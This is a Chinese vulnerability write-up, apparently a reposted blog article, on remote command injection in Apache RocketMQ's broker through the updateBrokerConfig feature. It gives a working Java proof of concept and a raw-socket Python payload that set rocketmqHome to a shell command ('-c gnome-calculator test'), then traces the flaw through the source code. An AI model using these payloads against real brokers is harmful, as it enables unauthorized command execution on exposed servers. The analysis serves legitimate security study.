当前位置: 首页 > news >正文

Apache RocketMQ 命令注入

漏洞简介

RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

安全版本

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

漏洞复现

在本地创建 maven 项目 并添加依赖

<dependencies>   <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --><dependency><groupId>org.apache.rocketmq</groupId><artifactId>rocketmq-tools</artifactId><version>5.1.0</version></dependency>
</dependencies>

编写漏洞利用代码

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;import java.util.Properties;public class poc1 {public static void main(String[] args) throws Exception {// 创建 Properties 对象Properties props = new Properties();//修改rocketmqHome配置props.setProperty("rocketmqHome","-c gnome-calculator test");props.setProperty("filterServerNums","1");// 创建 DefaultMQAdminExt 对象并启动DefaultMQAdminExt admin = new DefaultMQAdminExt();//此处为 namesrv 端口,此端口无需可访问admin.setNamesrvAddr("192.168.222.130:9876");admin.start();// 更新配置⽂件//此处为 broker 端口,必须可访问admin.updateBrokerConfig("192.168.222.130:10911", props);// 关闭 DefaultMQAdminExt 对象admin.shutdown();}
}

漏洞分析

20436bc2ba3a687a948385e48c98663f.jpeg 1acbc46d7f63a797a47514914b743caa.jpeg 91831a9f53bdb1f7d140c28b89211364.jpeg fef1a13d5ec00c6ffb370a555bbb4261.jpeg

我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数

org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能

03a7a120edeef06c2ecf74d3b0dc46b7.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest f18fdfc7d04107ccadca26cbd9ef1b44.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig 863372a0726ca3a3a267be699202b9ee.jpeg org/apache/rocketmq/remoting/Configuration.java#update 79442e14d0e76f06598469550bac18ea.jpeg

如果属性名是其内置的,就进行更新操作

后面的一部分就比较清晰了

org/apache/rocketmq/broker/BrokerStartup.java#start

7c9482ac4c81912047fa0703bec13b29.jpeg org/apache/rocketmq/broker/BrokerController.java#start 5819319038559e732aea9fb62b0985d1.jpeg org/apache/rocketmq/broker/BrokerController.java#startBasicService 581ee0352eb73663a688677ee6770faf.jpeg
image
org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start 0fc9a3d1e9bbcbffc56adf5776c9f41a.jpeg
image
根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞
import socket
import binascii
client = socket.socket()# you ip
client.connect(('192.168.222.130',10911))# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

漏洞修复

移除了命令执行的模块

0715abe40432bb426522330e2e0273c1.jpeg

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

a37b24c45dab6e53b652516b904ef9a5.gif

靶场实操,戳“阅读原文“

http://www.lryc.cn/news/107488.html

相关文章:

  • 二、搜索与图论6:Dijkstra 模板题+算法模板(Dijkstra求最短路 I, Dijkstra求最短路 II,1003 Emergency)
  • ROS2学习(四)进程,线程与节点的关系
  • 【物联网】DMA传输原理与实现详解(超详细)
  • Java类集框架(二)
  • 爬虫008_流程控制语句_if_if else_elif_for---python工作笔记026
  • 【随笔】五周年创作纪念日
  • 7_分类算法—逻辑回归
  • 【计算机网络】应用层协议 -- DNS协议
  • ES6 - 数组新增的一些常用方法
  • 【BEV感知】3-BEV开源数据集
  • Kafka-Broker工作流程
  • 第八篇-Tesla P40+ChatGLM2+LoRA
  • 调用feign返回错误的数据
  • 【Spring】(二)从零开始的 Spring 项目搭建与使用
  • redis五种数据类型介绍
  • 【JavaEE】Spring Boot - 项目的创建和使用
  • Git reset、revert用法
  • Redis-1
  • 【Linux】Linux服务器连接百度网盘:实现上传下载
  • ADC模拟看门狗
  • google谷歌gmail邮箱账号注册手机号无法进行验证怎么办?此电话号码无法用于进行验证 或 此电话号码验证次数太多
  • Spring:IOC技术、Bean、DI
  • 目标检测与跟踪 (2)- YOLO V8配置与测试
  • 【Leetcode】56.合并区间
  • 设置系统编码 Beta
  • phpunit
  • html学习9(脚本)
  • SpringBoot整合Caffeine
  • 元宇宙虚拟展厅的特点是什么呢?优势有哪些?
  • Day11-Webpack前端工程化开发